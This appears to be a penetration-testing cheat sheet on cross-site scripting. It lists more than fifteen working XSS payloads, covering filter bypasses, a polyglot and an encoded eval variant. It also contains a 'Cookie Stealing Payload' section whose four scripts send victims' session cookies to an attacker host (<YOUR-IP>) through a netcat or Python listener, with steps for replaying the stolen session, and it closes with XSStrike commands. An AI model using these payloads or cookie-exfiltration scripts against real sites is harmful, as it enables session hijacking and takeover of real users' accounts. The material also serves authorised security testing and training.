Cross-Site Scripting (XSS)
reference
- Recon
- Enumerate
- Foothold
- PrivEsc
- Lateral
- Post-Ex
reached from Web injection point
XSS occurs when a web application includes untrusted user data in a web page without proper escaping. The browser interprets the injected content as legitimate script and executes it in the victim's browser context. Unlike SQLi, XSS attacks the user rather than the server · it can steal session tokens, perform actions as the victim, redirect to phishing pages, or log keystrokes.
Type Identification
| Type | Characteristic | Test |
|---|---|---|
| Reflected | Payload executes in response to current request | Payload in URL/form, see it echo back in response |
| Stored | Payload saved server-side, executes for every viewer | Submit in comment/profile, log out, revisit as another user |
| DOM-Based | JS reads attacker data and writes to DOM unsafely | Source shows document.write, innerHTML, eval, location.hash |
Payload List (15+)
Basic confirmation payloads
<script>alert(1)</script>
<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe onload=alert(1)>
Attribute injection (inside tag attribute value)
" onmouseover="alert(1)
' onmouseover='alert(1)
"><script>alert(1)</script>
" autofocus onfocus="alert(1)
Filter bypass · event handlers
<input autofocus onfocus=alert(1)>
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>
<details open ontoggle=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
Filter bypass · no script tag
<img src="x" onerror="alert(1)">
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>Filter bypass · case insensitive
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x ONERROR=alert(1)>
Filter bypass · href
<a href="javascript:alert(1)">XSS</a>
<a href="JaVaScRiPt:alert(1)">XSS</a>
Filter bypass · data URI
<iframe src="data:text/html,<script>alert(1)</script>">
<object data="data:text/html,<script>alert(1)</script>">
SVG-specific
<svg><script>alert(1)</script></svg>
<svg><animatetransform onbegin=alert(1)>
Template literal bypass
<script>alert`1`</script>
Polyglot (one payload that fires across many injection contexts)
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
DOM-based test
"><script>alert(1)</script>
javascript:alert(1)
Cookie Stealing Payload
<!-- Attacker: start listener · python3 -m http.server 80 or nc -lvnp 80 -->
<!-- Payload 1: Redirect -->
<script>document.location='http://<YOUR-IP>/?c='+document.cookie;</script>
<!-- Payload 2: Fetch (quieter, no redirect) -->
<script>fetch('http://<YOUR-IP>/?c='+btoa(document.cookie));</script><!-- Payload 3: Image tag (when script blocked) -->
<img src="x" onerror="this.src='http://<YOUR-IP>/?c='+document.cookie">
<!-- Payload 4: XHR -->
<script>
var x=new XMLHttpRequest();
x.open('GET','http://<YOUR-IP>/?c='+document.cookie,true);x.send();
</script>
After receiving the cookie: paste into browser DevTools → Application → Cookies → replace session value → reload.
Where to Look
| Location | Type Risk | Notes |
|---|---|---|
| Search boxes | Reflected | Test immediately · often no filtering |
URL parameters (?q=, ?search=) | Reflected | Check if value echoes in response |
| Profile/bio fields | Stored | View by other users · high impact |
| Comment sections | Stored | Classic stored XSS target |
| Error messages | Reflected | Username/email in "invalid input" messages |
| HTTP headers (User-Agent, Referer) | Stored | If logged to admin dashboard |
| File upload names | Stored | Filename reflected in response |
Tools
XSStrike · automated XSS scanner with WAF bypass
python3 xsstrike.py -u "http://<TARGET>/search?q=test"
python3 xsstrike.py -u "http://<TARGET>/search?q=test" --crawl # Crawl entire site
python3 xsstrike.py -u "http://<TARGET>/login" --data "user=test&pass=test"
Burp Suite · manual testing
Intruder → Sniper → payload = XSS list
Active Scanner (Pro) → auto-detects XSS
DOM Invader (Burp browser extension) → finds DOM-based XSS